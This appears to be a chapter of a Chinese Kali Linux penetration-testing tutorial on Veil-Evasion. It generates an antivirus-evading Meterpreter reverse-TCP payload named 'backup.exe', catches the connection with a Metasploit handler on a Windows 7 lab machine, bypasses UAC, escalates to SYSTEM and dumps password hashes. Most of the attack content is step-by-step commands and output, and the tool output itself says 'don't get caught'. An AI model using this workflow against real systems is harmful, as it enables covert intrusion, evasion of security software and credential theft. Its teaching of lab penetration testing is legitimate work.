6.5 免杀Payload生成工具Veil

Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。

在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:

  1. root@kali:~# apt-get install veil

执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。

启动Veil工具。执行命令如下所示:

  1. root@kali:~# veil-evasion

执行以上命令后,将会输出大量的信息。如下所示:

  1. ===============================================
  2. Veil First Run Detected Initializing Script Setup
  3. ===============================================
  4. [*] Executing ./setup/setup.sh
  5. ===============================================
  6. Veil-Evasion Setup Script | [Updated]: 01.15.2015
  7. ===============================================
  8. [Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
  9. ===============================================
  10. [*] Initializing Apt Dependencies Installation
  11. [*] Adding i386 Architecture To x86_64 System
  12. [*] Updating Apt Package Lists
  13. 命中 http://mirrors.ustc.edu.cn kali Release.gpg
  14. 命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
  15. 命中 http://mirrors.ustc.edu.cn kali Release
  16. 命中 http://mirrors.ustc.edu.cn kali/updates Release
  17. 命中 http://mirrors.ustc.edu.cn kali/main Sources
  18. 命中 http://mirrors.ustc.edu.cn kali/non-free Sources
  19. 命中 http://mirrors.ustc.edu.cn kali/contrib Sources
  20. 命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
  21. 命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
  22. 命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
  23. 获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
  24. 命中 http://http.kali.org kali Release.gpg
  25. 命中 http://security.kali.org kali/updates Release.gpg
  26. 命中 http://http.kali.org kali Release
  27. ……
  28. 忽略 http://http.kali.org kali/non-free Translation-en
  29. 下载 17.8 MB,耗时 20 (859 kB/s)
  30. 正在读取软件包列表… 完成
  31. [*] Installing Wine i386 Binaries
  32. 正在读取软件包列表… 完成
  33. 正在分析软件包的依赖关系树
  34. 正在读取状态信息… 完成
  35. 将会安装下列额外的软件包:
  36. gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
  37. libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
  38. libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
  39. libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
  40. [*] Cleaning Up Setup Files
  41. [*] Updating Veil-Framework Configuration
  42. Veil-Framework configuration:
  43. [*] OPERATING_SYSTEM = Kali
  44. [*] TERMINAL_CLEAR = clear
  45. [*] TEMP_DIR = /tmp/
  46. [*] MSFVENOM_OPTIONS =
  47. [*] METASPLOIT_PATH = /usr/share/metasploit-framework/
  48. [*] PYINSTALLER_PATH = /usr/share/pyinstaller/
  49. [*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
  50. [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
  51. [*] Path '/root/veil-output/source/' Created
  52. [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
  53. [*] Path '/root/veil-output/compiled/' Created
  54. [*] Path '/root/veil-output/handlers/' Created
  55. [*] GENERATE_HANDLER_SCRIPT = True
  56. [*] HANDLER_PATH = /root/veil-output/handlers/
  57. [*] HASH_LIST = /root/veil-output/hashes.txt
  58. [*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
  59. [*] Path '/root/veil-output/catapult/' Created
  60. [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
  61. [*] Path '/etc/veil/' Created
  62. Configuration File Written To '/etc/veil/settings.py'

以上信息只有在第一次运行Veil时才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图6.32所示。

201-01

图6.32 Python初始界面

该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图6.33所示的界面。

201-02

图6.33 选择Python安装位置

在该界面单击Next按钮,将显示如图6.34所示的界面。该界面提示C:\Python27已存在,确认是否要覆盖已存在的文件。这里单击Yes按钮,将显示如图6.35所示的界面。

201-03

图6.34 确认Python的安装位置

201-04

图6.35 自定义Python

在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图6.36所示的界面。

201-05

图6.36 安装完成

该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图6.37所示的界面。

202-01

图6.37 安装pywin32-218模块界面

该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图6.38所示的界面。

202-02

图6.38 设置向导

这里使用默认设置,单击“下一步”按钮,将显示如图6.39所示的界面。

202-03

图6.39 准备安装

该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图6.40所示的界面。

203-01

图6.40 安装完成

从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图6.41所示的界面。

203-02

图6.41 安装pycrypto-2.6模块初始界面

该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图6.42所示。

203-03

图6.42 设置向导

这里使用默认设置,单击“下一步”按钮,将显示如图6.43所示的界面。

204-01

图6.43 准备安装

该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图6.44所示的界面。

204-02

图6.44 安装完成

从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:

  1. ===============================================
  2. Veil-Evasion | [Version]: 2.4.3
  3. ===============================================
  4. [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  5. ===============================================
  6. Main Menu
  7. 24 payloads loaded
  8. Available commands:
  9. use use a specific payload
  10. info information on a specific payload
  11. list list available payloads
  12. update update Veil to the latest version
  13. clean clean out payload folders
  14. checkvt check payload hashes vs. VirusTotal
  15. exit exit Veil
  16. [>] Please enter a command:

从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:

  1. [>] Please enter a command: list

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Available payloads:
1) c/meterpreter/rev_tcp
2) c/meterpreter/rev_tcp_service
3) c/shellcode_inject/virtual
4) c/shellcode_inject/void
5) cs/meterpreter/rev_tcp
6) cs/shellcode_inject/base64_substitution
7) cs/shellcode_inject/virtual
8) native/Hyperion
9) native/backdoor_factory
10) native/pe_scrambler
11) powershell/shellcode_inject/download_virtual
12) powershell/shellcode_inject/psexec_virtual
13) powershell/shellcode_inject/virtual
14) python/meterpreter/rev_http
15) python/meterpreter/rev_http_contained
16) python/meterpreter/rev_https
17) python/meterpreter/rev_https_contained
18) python/meterpreter/rev_tcp
19) python/shellcode_inject/aes_encrypt
20) python/shellcode_inject/arc_encrypt
21) python/shellcode_inject/base64_substitution
22) python/shellcode_inject/des_encrypt
23) python/shellcode_inject/flat
24) python/shellcode_inject/letter_substitution

从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。

【实例6-5】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示。

(1)启动Veil工具。执行命令如下所示:

  1. root@kali:~# veil-evasion

执行以上命令后,将显示如下所示的信息:

  1. ===============================================
  2. Veil-Evasion | [Version]: 2.4.3
  3. ===============================================
  4. [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  5. ===============================================
  6. Main Menu
  7. 24 payloads loaded
  8. Available commands:
  9. use use a specific payload
  10. info information on a specific payload
  11. list list available payloads
  12. update update Veil to the latest version
  13. clean clean out payload folders
  14. checkvt check payload hashes vs. VirusTotal
  15. exit exit Veil
  16. [>] Please enter a command:

在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。

(2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:

  1. [>] Please enter a command: use 5

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

Payload: cs/meterpreter/rev_tcp loaded
Required Options:
Name Current Value Description


LHOST IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
Available commands:
set set a specific option value
info show information about the payload
generate generate payload
back go to the main menu
exit exit Veil
[>] Please enter a command:

输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。

(3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:

  1. [>] Please enter a command: set LHOST 192.168.6.103
  2. [>] Please enter a command: info
  3. ===============================================
  4. Veil-Evasion | [Version]: 2.4.3
  5. ===============================================
  6. [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
  7. ===============================================
  8. Payload information:
  9. Name: cs/meterpreter/rev_tcp
  10. Language: cs
  11. Rating: Excellent
  12. Description: pure windows/meterpreter/reverse_tcp stager, no shellcode
  13. Required Options:
  14. Name Current Value Description
  15. ---- ------------- --------------------------
  16. LHOST 192.168.6.100 IP of the metasploit handler
  17. LPORT 4444 Port of the metasploit handler
  18. compile_to_exe Y Compile to an executable

从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。

(4)此时,使用generate命令生成载荷文件。执行命令如下所示:

  1. [>] Please enter a command: generate

Veil-Evasion | [Version]: 2.4.3

[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: backup #指定输出文件名

在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:

  1. [*] Executable written to: /root/veil-output/compiled/backup.exe
  2. Language: cs
  3. Payload: cs/meterpreter/rev_tcp
  4. Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
  5. Payload File: /root/veil-output/source/backup.cs
  6. Handler File: /root/veil-output/handlers/backup_handler.rc
  7. [*] Your payload files have been generated, don't get caught!
  8. [!] And don't submit samples to any online scanner! ;)
  9. [>] press any key to return to the main menu:

从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。

接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。

【实例6-6】创建远程处理器。具体操作步骤如下所示。

(1)启动MSF终端。

(2)使用handler模块。执行命令如下所示:

  1. msf > use exploit/multi/handler

(3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:

  1. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  2. payload => windows/meterpreter/reverse_tcp
  3. msf exploit(handler) > set LHOST 192.168.6.103
  4. LHOST => 192.168.6.103

(4)启动渗透攻击。执行命令如下所示:

  1. msf exploit(handler) > exploit
  2. [*] Started reverse handler on 192.168.6.103:4444
  3. [*] Starting the payload handler

从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。

此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:

  1. [*] Sending stage (769536 bytes) to 192.168.6.110
  2. [*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
  3. meterpreter >

从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下 所示:

  1. meterpreter > shell
  2. Process 1544 created.
  3. Channel 1 created.
  4. Microsoft Windows [版本 6.1.7601]
  5. (c) 2009 Microsoft Corporation
  6. C:\Users\lyw\Desktop>

输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是lyw。

如果以上用户没有太高权限时,可以使用Metasploit中的bypassuac模块绕过UAC(用户访问控制),进而提升用户的权限。下面将介绍使用bypassuac模块提升以上lyw用户的权限。

(1)将Meterpreter会话,调用到后台运行。执行命令如下所示:

  1. meterpreter > background
  2. [*] Backgrounding session 1

从输出的信息中,可以看到当前后台运行的会话编号是1。该会话编号需要记住,在后面将会用到。

(2)查看会话详细信息。执行命令如下所示:

208-01

从输出信息中可以看到该会话中,连接到目标系统的运行架构、计算机名及IP地址。

(3)使用bypassuac模块,并查看可配置的选项参数。执行命令如下所示:

208-02

从输出信息中,可以看到模块选项中有一个可配置的选项参数SESSION。该选项的值,就是当前后台运行的会话编号。

(4)设置SESSION选项参数。如下所示:

  1. msf exploit(bypassuac) > set session 1
  2. session => 1

(5)启动渗透攻击。执行命令如下所示:

  1. msf exploit(bypassuac) > exploit
  2. [*] Started reverse handler on 192.168.6.103:4444
  3. [*] UAC is Enabled, checking level
  4. [+] UAC is set to Default
  5. [+] BypassUAC can bypass this setting, continuing
  6. [+] Part of Administrators group! Continuing
  7. [*] Uploaded the agent to the filesystem….
  8. [*] Uploading the bypass UAC executable to the filesystem
  9. [*] Meterpreter stager executable 73802 bytes long being uploaded..
  10. [*] Sending stage (769536 bytes) to 192.168.6.106
  11. [*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18 10:15:38 +0800
  12. meterpreter >

从输出的信息中,可以看到目前登录的用户实际上是属于管理组的成员,并且绕过了UAC创建了一个新的会话。此时就可以提升用户的权限了。

(6)查看lyw用户的信息。执行命令如下所示:

  1. meterpreter > getuid
  2. Server username: WIN-RKPKQFBLG6C\lyw

从输出信息中可以看到该用户只是WIN-RKPKQFBLG6C计算机中的一个普通用户。

(7)提升lyw用户的权限,并查看其用户信息。执行命令如下所示:

  1. meterpreter > getsystem
  2. got system (via technique 1).
  3. meterpreter > getuid
  4. Server username: NT AUTHORITY\SYSTEM

从输出信息中可以看到当前lyw用户,拥有了系统级别的权限。此时,可以进行任何的操作。如捕获目标系统中,用户的密码哈希值。执行命令如下所示:

  1. meterpreter > run post/windows/gather/hashdump
  2. [*] Obtaining the boot key
  3. [*] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c
  4. [*] Obtaining the user list and keys
  5. [*] Decrypting user keys
  6. [*] Dumping password hints
  7. Test:"www.123"
  8. abc:“123456
  9. alice:“passwd
  10. [*] Dumping password hashes
  11. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  12. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  13. bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

从输出的信息中,可以看到目标系统中有三个用户,并且可以看到它们的UID及密码哈希值。而且,还捕获到三个键盘输入的密码。如捕获的Test用户,其密码为www.123。

原文: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/34.html